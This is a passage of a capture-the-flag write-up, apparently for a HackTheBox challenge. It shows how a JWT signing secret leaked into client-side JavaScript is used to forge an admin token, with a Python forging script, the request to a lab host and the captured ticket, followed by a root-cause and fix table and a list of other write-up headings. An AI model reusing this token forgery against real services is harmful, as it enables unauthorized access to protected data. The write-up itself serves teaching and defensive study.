  const username = getUsernameFromToken(sessionToken);

  if (username === "admin") {
    const tickets = await db.get_tickets();
    return res.status(200).json({ tickets });
  } else {
    return res.status(403).json(response("Access denied. Admin privileges required."));
  }
});

Access control here is entirely dependent on one thing: the username claim decoded out of the client-supplied session_token cookie. There's no separate role or permission field - just a string equality check against "admin".

database.js confirmed the payoff. A seeded ticket belonging to admin holds the flag:

('Admin', 'admin', 'Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag}')

So the path to the flag is:

Forge a JWT with username: "admin", signed with the leaked secret halloween-secret → hit GET /tickets → read the admin ticket's content.

3. Exploitation

Since the server signs and verifies with the same symmetric secret found in the client-side bundle, forging a valid admin token just means signing our own JWT with that key.

import jwt
import time

JWT_SECRET = "halloween-secret"

payload = {
    "username": "admin",
    "iat": int(time.time())
}

forged_token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(forged_token)

This produces a token such as:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg0Mjg4NjQ4fQ.<signature>

The forged token was set as the session_token cookie and sent to the protected endpoint (confirmed working in Burp Repeater):

GET /tickets HTTP/1.1
Host: 154.57.164.73:31677
Cookie: session_token=<forged admin JWT>

4. Result

The server accepted the forged token, decoded username: "admin" from it, and returned the full ticket list - including the admin-only entry:

{
  "id": 3,
  "name": "Admin",
  "username": "admin",
  "content": "Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter HTB{REDACTED}"
}

Flag: HTB{REDACTED}

5. Root Cause & Fix

Issue	Why it matters	Fix
JWT secret embedded in client-side JS	Anyone loading the page can read the exact signing key	Never generate or sign session tokens client-side; issue tokens only from the server after real authentication
Access control keyed on a raw JWT claim string	Any token bearer can set `username` to whatever they like if they know the secret	Enforce role checks server-side against a trusted source (session store / DB), not a self-asserted claim
Guest sessions minted without any server-side authentication step	No proof of identity is ever established	Require the server to issue and sign tokens itself, using a secret that never leaves the backend

DEV Community: Yogeshwar Peela

TryHackMe : Enterprise Writeup

Summary

Recon

Nmap - top ports

Full port scan

SMB null / guest session

RID brute forcing users

The Docs share - a deliberate dead end

Finding the GitHub org

The Bitbucket-styled login page

Google dorking for the GitHub org

The leaked credentials

Validating and using nik's credentials

Kerberoasting the bitbucket account

Validating bitbucket

A side quest that didn't pay off: the Contractor group

Foothold via RDP as bitbucket

Confirming the foothold from a shell

Privilege escalation - a leftover ZeroTier install

Confirming the weak permissions

Method A - manual reverse shell as SYSTEM

Method B - the PowerUp way (adds a local admin instead)

Key vulnerabilities

Attack chain

Mitigations

TryHackMe : Fool's Mate Revenge

Summary

Recon

Nmap

Looking at the page

Pulling down the client code

Poking at the endpoints directly

Exploitation

Confirming the checkmate gate is server-side now

Trying to set unlocked directly

First prototype pollution attempt - __proto__

Second attempt - constructor.prototype

Key vulnerabilities

Attack chain

Mitigations

TryHackMe : FoolMate Writeup

Summary

Recon

Nmap

Checking out the web app

Reading the client logic

Confirming the library and a stray path traversal

Exploitation - bypassing the client-side checkmate gate

Key vulnerabilities

Attack chain

Mitigations

HackTheBox: DevArea — Full Walkthrough

1. Reconnaissance

2. Anonymous FTP — Downloading the JAR

3. JAR Analysis — Discovering the SOAP Endpoint

4. CVE-2022-46364 — Apache CXF MTOM SSRF

What is MTOM?

The Vulnerability

Manual Exploit

Reading the Hoverfly Service File

Extracting Hoverfly Credentials

5. CVE-2025-54123 — Hoverfly Middleware RCE

Getting the Authorization Token

Exploiting the Middleware API

6. Privilege Escalation

6.1 Enumerating the Environment

6.2 Flask Session Forgery

6.3 Command Injection in /service-status

6.4 Double Symlink Attack

7. Attack Chain Summary

8. Key Vulnerabilities & Lessons

Conclusion

HackTheBox : Pterodactyl Writeup

Summary

1. Reconnaissance

2. Web Enumeration

2.1 Virtual Host Enumeration

3. Exploitation - CVE-2025-49132

3.1 Stabilizing the Shell and Finding the User

Trying to set `unlocked` directly

First prototype pollution attempt - `proto`

Second attempt - `constructor.prototype`

Attempt 2 - `alg:none` bypass (success)